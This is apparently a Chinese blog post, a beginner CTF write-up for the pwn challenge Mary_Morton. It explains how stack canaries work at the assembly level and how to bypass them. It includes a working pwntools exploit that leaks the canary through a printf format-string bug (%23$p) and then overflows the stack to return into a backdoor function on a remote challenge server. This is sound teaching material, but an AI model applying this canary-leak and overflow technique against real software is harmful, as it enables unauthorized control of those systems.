4.pwn入門新手做攻防世界Mary_Morton (stack canary與繞過的思路)

canary

通常棧溢出的利用方式是通過溢出存在於棧上的局部變量,從而讓多出來的數據覆蓋ebp、eip
等,從而達到劫持控制流的目的。然而stack canary這一技術的應用使得這種利用手段變得難以實
現。。這個概念應用在棧保護上則是在初始化一個棧幀時在棧底設置一個隨機的canary值,棧幀銷燬前
測試比較該值是否“死掉”,即是否被改變,若被改變則說明棧溢出發生,程序走另一個流程結束,以免漏洞利
用成功。
這個canary通常是在ebp的上面,同一個程序在每一次執行時這個標誌canary是不同的,但是在執行過程中這個標誌是不會發生變化的7

開啓Canary保護的stack結構大概如下

    High
    Address |                 |
            +-----------------+
            | args            |
            +-----------------+
            | return address  |
            +-----------------+
    rbp =>  | old ebp         |
            +-----------------+
  rbp-8 =>  | canary value    |
            +-----------------+
            | 局部變量        |
    Low     |                 |
    Address

當程序啓用Canary編譯後,在函數序言部分會取fs寄存器0x28處的值,存放在棧中%ebp-0x8的位置。 這個操作即爲向棧中插入Canary值,代碼如下:

mov rax, qword ptr fs:[0x28]
mov qword ptr [rbp - 8], rax
mov rax, qword ptr fs:[0x28]
mov qword ptr [rbp - 8], rax

在函數返回之前,會將該值取出,並與fs:0x28的值進行異或。如果抑或的結果爲0,說明canary未被修改,函數會正常返回,這個操作即爲檢測是否發生棧溢出。
mov rdx,QWORD PTR [rbp-0x8]
xor rdx,QWORD PTR fs:0x28
je 0x4005d7 <main+65>
call 0x400460 __stack_chk_fail@plt
fs寄存器實際指向的是當前棧的TLS結構,fs:0x28指向的正是stack_guard。
Canary設計爲以字節"\x00"結尾,本意是爲了保證Canary可以截斷字符串。 泄露棧中的Canary的思路是覆蓋Canary的低字節,來打印出剩餘的Canary部分。 這種利用方式需要存在合適的輸出函數,並且可能需要第一溢出泄露Canary,之後再次溢出控制執行流程。

Mary_Morton

在這裏插入圖片描述
我們可以看到程序開了canary 保護
程序直接給出了兩個bug
在這裏插入圖片描述
我們不可以直接棧溢出,那麼就需要利用格式化字符串漏洞泄露出canary的值
此處printf就是一個我們可以利用的格式化字符串漏洞,因爲printf的輸出完全由用戶控制

我們查看彙編代碼 發現
在這裏插入圖片描述
在這裏插入圖片描述偏移量爲6,也可以認爲是6個寄存器,又因爲buf位置爲rbp-0x90, canary爲0x8,相差0x88 且8bytes爲一個單位的寄存器,即0x88 / 8 = 0x11 = 17, 17 + 6 = 23,因此偏移位置爲23,所以我們就可以使用%23$p來打印出canary的地址。
在這裏插入圖片描述這裏也給了一個後門函數
我們現在寫exp

#! /usr/bin/env python
from pwn import *
sh = remote('111.198.29.45', '38045')
sh.sendline('2')
sh.sendline("%23$p") #利用漏洞
sh.recvuntil('0x')   #這裏是一個判定
canary = int(sh.recv(16), 16)  #以16位接受
print hex(canary)   #以16位打印 
symaddr = 0x04008DA
payload = 'a' * (0x90 - 0x8) + p64(canary) + 'a'*8 + p64(symaddr)
sh.sendline('1')
sh.sendline(payload)
sh.interactive()

思路:利用這兩個漏洞,首先利用字符串漏洞,泄露出canary的值,然後在函數要返回的時候再填回去,之後利用棧溢出,讓其返回到後門函數
這道題感謝 Devil丶xlt 大佬

發佈了7 篇原創文章 · 獲贊 13 · 訪問量 1434
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章